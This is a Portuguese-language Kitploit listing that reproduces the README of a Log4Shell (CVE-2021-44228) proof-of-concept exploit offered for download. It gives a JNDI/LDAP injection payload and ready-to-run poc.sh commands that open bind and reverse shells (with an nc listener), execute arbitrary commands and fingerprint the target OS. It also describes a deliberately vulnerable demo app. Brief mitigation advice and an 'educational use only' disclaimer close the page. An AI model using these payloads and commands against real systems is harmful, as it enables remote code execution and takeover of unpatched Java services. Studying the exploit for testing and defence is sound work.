Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2021-44228-PoC — Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com servidores HTTP e LDAP, suportando shells reversos/vinculados, RCE e detecção baseada em tempo para uso educacional. | Kitploit
Ferramentas/GitHubGitHub/thearqsz/cve-2021-44228-poc
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e Educação
GitHubthearqsz/cve-2021-44228-poc

CVE-2021-44228-PoC

Exploit de prova de conceito para CVE-2021-44228 (Log4Shell) com servidores HTTP e LDAP, suportando shells reversos/vinculados, RCE e detecção baseada em tempo para uso educacional.

Ver Repositório
2há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2021-44228 PoC

PoC para CVE-2021-44228.

Projeto feito apenas para FINS EDUCACIONAIS.

Servidor de exploração

Este projeto cria dois servidores: http e ldap. Ambos são necessários para que a exploração funcione. O arquivo java especificado é compilado e os servidores são iniciados no Dockerfile. O payload é mostrado ao usuário - deve ser passado para a aplicação vulnerável.

Exemplo de payload:

root@kitploit:~
${jndi:ldap//127.0.0.1:1389/a}

Como executar?

  • Bind shell
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
  • Reverse shell
root@kitploit:~
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
  • RCE
root@kitploit:~
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
  • Detecção de vulnerabilidade baseada em tempo
  • Ele suspende o programa por 25 segundos

    root@kitploit:~
    ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
    
    • Detecção de SO
    root@kitploit:~
    nc -lvnp 4444
    ./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
    

    A detecção de SO pode retornar 4 letras:

    • L para Linux
    • W para Windows
    • M para macOS
    • U para desconhecido

    Bypass

    A técnica de bypass foi publicada. Exemplo aqui

    Aplicação vulnerável

    O aplicativo foi projetado para mostrar como funciona. Para construir e executar o jar com um aplicativo, use:

    root@kitploit:~
    ./build_vuln_app.sh
    java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
    

    onde PAYLOAD é retornado pelo script ./poc.sh (ex.: ${jndi:ldap://127.0.0.1:1389/1}).

    Créditos

    Alguns créditos para projetos e sites usados durante a criação desta exploração:

    • https://github.com/shanfenglan/apache_log4j_poc
    • https://github.com/ivan-sincek/java-reverse-tcp
    • https://www.lunasec.io/docs/blog/log4j-zero-day/
    • https://github.com/RandomRobbieBF/marshalsec-jar

    Como se proteger?

    Inicie o aplicativo usando log4j com log4j2.formatMsgNoLookups definido como true, ou atualize para log4j-2.15.0-rc1 ou posterior. As atualizações estão disponíveis - implemente-as o mais rápido possível.

    Aviso legal

    Este projeto só pode ser usado para fins educacionais. Usar este software contra sistemas alvo sem permissão prévia é ilegal, e quaisquer danos decorrentes do uso indevido deste software não serão de responsabilidade do autor.

    Baixar ferramenta